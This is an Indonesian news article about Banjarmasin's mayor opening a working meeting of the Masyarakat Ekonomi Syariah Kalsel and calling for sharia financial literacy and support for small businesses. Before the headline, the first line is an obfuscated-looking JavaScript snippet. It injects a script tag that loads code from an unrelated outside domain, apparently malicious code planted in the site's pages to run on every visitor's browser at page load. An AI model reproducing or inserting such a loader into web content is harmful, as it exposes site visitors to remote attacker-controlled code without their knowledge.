(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Umat Islam di Banjarmasin Harus Melek Ekonomi Syariah

KANALKALIMANTAN.COM, BANJARMASIN – Wali Kota Banjarmasin Ibnu Sina membuka kegiatan silaturahmi dan rapat kerja Masyarakat Ekonomi Syariah (MES) Kalsel, Sabtu (25/3/2023) pagi, di aula Kayuh Baimbai Kota Banjarmasin.

Wali Kota Ibnu Sina mengharapkan MES Kalsel yang diketua oleh H Mairijani SAg dapat mengembangkan ekonomi syariah di Kalsel, khususnya Kota Banjarmasin yang mayoritas Islam.

“Yang paling penting adalah jangan sampai khususnya Kalsel yang banyak kaum muslimin justru tidak punya pengetahuan tentang ekonomi syariah,” ungkapnya.

Oleh karena itu, Wali Kota Ibnu Sina menekankan perlu adanya program literasi keuangan syariah dan juga program literasi digital keuntungan syariah.

Lebih lanjut, Ibnu berharap MES Kalsel dapat bersinergi dengan program Pemko Banjarmasin yaitu pengembangan UMKM, terutama membantu manajemen keuangan para UMKM yang ada di Kota Banjarmasin.

“Diharapkan ini dapat terlaksana, karena tidak memerlukan biaya, hanya narasumber dan MES mempunyai banyak narasumber handal,” ujarnya.

Menurutnya, di dalam organisasi MES ini terdapat banyak orang-orang hebat yang punya pengetahuan ekonomi syariah. Bahkan dikatakannya praktisi, pemerhati, hingga pelaku keuangan syariah terkumpul di organisasi ini.

Sehingga Ibnu semakin yakin Pemko Banjarmasin dapat bersinergi dengan MES dalam pengembangan ekonomi syariah di kota berjuluk Seribu Sungai.

Ketua Umum MES Kalsel H Mairijani mengatakan jika selama ini MES selalu membuka ruang kolaborasi. Dikatakannya selama ini MES telah berkolaborasi dengan regulator seperti Bank Indonesia, OJK, Pemerintah Kota hingga Pemerintah Provinsi.

“Mungkin di tahun 2023 ini, sebagaimana disebutkan Wali Kota Ibnu Sina kolaborasi yang bisa dilakukan adalah bagaimana MES yang di situ terkumpul pada pakar. Nanti dari MES yang akan memberikan semacam keilmuan dan juga pengalaman kepada para UMKM dari sisi manajemen pengelolaan usaha,” kata Mairijani.

Disebutkannya, dengan adanya kolaborasi pihaknya dengan Pemko Banjarmasin diharapkan dapat memperkuat UMKM, disamping juga dpaat meningkatkan angka perekonomian di Kota Banjarmasin.

Tidak berbeda dengan Walikota Ibnu Sina, Mairijani juga mengatakan, umat Islam di Kalsel khsusunya Banjarmasin perlu melek terhadap literasi keuangan syariah.

Menurutnya, hal itu dapat tercapai dengan sosialisasi terkait pemahaman tentang ekonomi syariah dan keuangan syariah secara berkelanjutan kepada masyarakat khususnya pelaku usaha.

“Mungkin selama ini mereka berislam, tapi hanya dari sisi ibadah, belum menyentuh aspek-aspek muamalah. Misalnya bagaimana mereka bertransaksi yang seharusnya bebas dari ribawi,” tutup Ketua MES Kalsel ini.

Untuk diketahui, perkumpulan masyarakat ekonomi syariah atau biasa disebut Masyarakat Ekonomi Syariah (MES) merupakan organisasi nirlaba yang bertujuan mengembangkan dan membumikan sistem ekonomi syariah sebagai sistem ekonomi yang berkeadilan dan berlandaskan prinsip-prinsip syariah Islam. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie